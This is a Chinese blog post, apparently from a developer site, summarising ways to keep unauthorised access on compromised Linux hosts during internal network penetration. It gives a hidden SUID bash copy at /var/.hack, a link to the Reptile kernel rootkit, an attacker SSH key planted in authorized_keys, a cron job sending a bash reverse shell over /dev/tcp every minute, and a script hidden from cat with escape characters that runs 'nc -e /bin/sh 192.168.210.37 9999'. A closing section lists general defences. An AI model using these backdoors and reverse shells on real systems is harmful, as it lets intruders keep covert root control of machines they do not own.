linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结

在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索。Linux也是在内网渗透中很常见的操作系统,但是其内部实现方式却与Windows有着本质的区别。我们在对Windows权限维持方式的基础上总结Linux系统的权限维持方式。

01 SUID后门

SUID是Set uid的简称,当一个文件的所属主的标识位是x,且所属主为root时,当执行该文件时,是以root身份执行的。所以如果攻击者创建一个满足上述条件的文件,并且使用该文件反弹一个bash的话,就会使一个普通用户得到一个root权限的shell。

创建文件时必须具备以下条件:

  • SUID权限只对二进制程序有效;

  • 执行者对于该程序需要具有x的可执行权限;

  • 本权限仅在执行该程序的过程中有效;

  • 在执行过程中执行者将具有该程序拥有者的权限;

首先使用root权限创建一个suid权限的隐藏文件,这个文件是/bin/bash的复制文件。

88ae46bdcf8d1699691f1aa0ead4ef8c.png

其次,使用普通用户登入系统,使用如下命令/var/.hack -p,执行该文件以获得一个root shell,执行后可以看到权限已经变成了root权限。

0b0f6a77d674ceb9eb40348e4e8341ef.png 02 Linux内核Rootkit后门

     
内核级Linux Rootkit的隐藏性通常要借助对Linux系统调用的截获来达到目的,并且难以查杀、难以清除,危害巨大。主要适用的目标版本如下:

  • Debian 9:4.9.0-8-amd64

  • Debian 10:4.19.0-8-amd64

  • Ubuntu 18.04.1 LTS:4.15.0-38-generic

  • Kali Linux:4.18.0-kali2-amd64

  • Centos 6.10:2.6.32- 754.6.3.el6.x86_64

  • Centos 7:3.10.0-862.3.2.el7.x86_64

  • Centos 8:4.18.0-147.5.1.el8_1.x86_64

项目地址为:

https://github.com/f0rb1dd3n/Reptile

03 SSH后门

SSH是Linux提供的一种远程登陆服务,SSH总共提供了两种登陆验证方式:一是账号密码登录,也是常用的登陆方式;二是公私钥登录,SSH允许验证登录者提供的私钥与自身公钥是否匹配,以确定是否允许该用户登录。具体验证方式如下:

ab573e96b4217cf989ea85120d43b3dc.png


首先攻击者在本地生成一份SSH登录的公私钥对,使用如下命令即可:

ssh-keygen -trsa。

9f5f853d682ef58919334ec26835d941.png


使用ssh-keygen生成两份文件,分别是id_rsa和id_rsa.pub前者是私钥文件,后者是公钥文件。使用某种方法,将攻击者生成的公钥文件id_rsa.pub上传进目标机~/.ssh/authorized_keys目录下即可。

c2901d4ee00e8d9456b1bba0f40c3ea8.png 8a79d766ecd5947925d4f3f66f21d63b.png


使用ssh直接登录目标机即可,无需账号密码。

841b43cdd5a1f0220f7e7e021771f9f3.png04 计划任务后门

与Windows一样,Linux也提供了计划任务程序,在Linux系统中计划任务一般是由cron承担。我们使用cron添加一个反弹shell的计划任务,以实现权限维持。

首先检查目标机是否开启了计划任务。

783a03d960242571545b547dc9d07adb.png

利用cron程序写入一个计划任务:’*/1 * * * * bash -I>& /dev/tcp// 0>&1’使其每一分钟向攻击者IP发弹一次shell。

560bc5ca4ee0c4e516ec725d64926dd9.png


在攻击机上监听相应的端口,过了一分钟即可接收到来自目标机的反弹shell,实现权限维持。

1a3adda8c15ed3c306a1ccd67b7e9a6b.png 05 Cat命令缺陷后门

Cat命令是Linux系统自带的指令,能够查看文件的具体内容。但是Cat指令却存在缺陷,cat默认是支持一些如\r回车符\n换行符\f换页符等特殊符号,这些符号可能导致一些内容被错误的解析,进而隐藏一些系统命令。

创建一个python文件,使其能够生成一个包含特殊符号的.sh文件,这个文件可以将恶意指令进行隐藏。

d2d3196142f4e6448a8bfab6e2cc369e.png


使用普通的cat指令查看这个.sh文件,发现恶意指令被隐藏。重新使用cat指令带上-A参数即可看到该文件的真实全部内容。可以查看到恶意指令:nc -e /bin/sh 192.168.210.37 9999。

7284b5942f18cfe808c7a0d70a1eb5c5.png

如果管理员没有仔细查看文件的具体内容就执行了该文件,攻击机则可以接到一个来自目标机的反弹shell。

b3e92501acd556739106415730ab94e9.png

36f1f8ad75ad17f31e81319b8a42d6d9.gif

59d6dde3957d74adb786ccf930554ad2.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux系统中进行内网渗透,攻击者可以利用一些常见的工具和技术来获取未授权访问、提权或控制其他主机。以下是一些常见的内网渗透技术和建议的对策: 1. 弱密码攻击:攻击者可能尝试猜测或暴力破解Linux系统上的密码。对策:确保使用强密码策略,并定期更改密码。禁用不必要的远程登录方式,如SSH密码登录,改为使用公钥身份验证。 2. 服务漏洞利用:攻击者可能利用Linux系统上运行的服务中的已知漏洞进行入侵。对策:定期更新和升级系统和软件包,及时修补已知漏洞。关闭不必要的服务或端口,只保留所需的服务,并根据需要配置防火墙规则。 3. 提权攻击:攻击者可能试图通过利用Linux系统上的特权升级漏洞来获取管理员权限。对策:限制用户的权限,确保每个用户只具有适当的权限。定期检查系统日志,监测异常行为和特权升级尝试。及时安装操作系统和内核的安全更新。 4. 社交工程:攻击者可能使用欺骗、伪装或其他手段来获取用户的敏感信息。对策:加强安全意识培训,教育员工有关社会工程学攻击的风险和防范措施。提醒用户不要随意点击可疑的链接或打开未知来源的附件。 5. 无线网络攻击:如果目标网络中有无线网络,攻击者可能尝试通过无线网络入侵内部网络。对策:使用强密码和加密协议保护无线网络。禁用不必要的无线网络功能,并配置合适的防火墙规则。 6. 内部系统扫描:攻击者可能在内网中进行系统扫描,探测其他主机的漏洞。对策:配置入侵检测系统(IDS)或入侵防御系统(IPS),监测内部网络流量,及时发现和阻止异常活动。 请注意,这些建议只是一些基本的防范措施。实际情况可能因网络环境和需求而异。为了确保Linux系统的安全,建议定期进行漏洞扫描、安全审计和渗透测试,并采取相应的安全措施来减少潜在的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值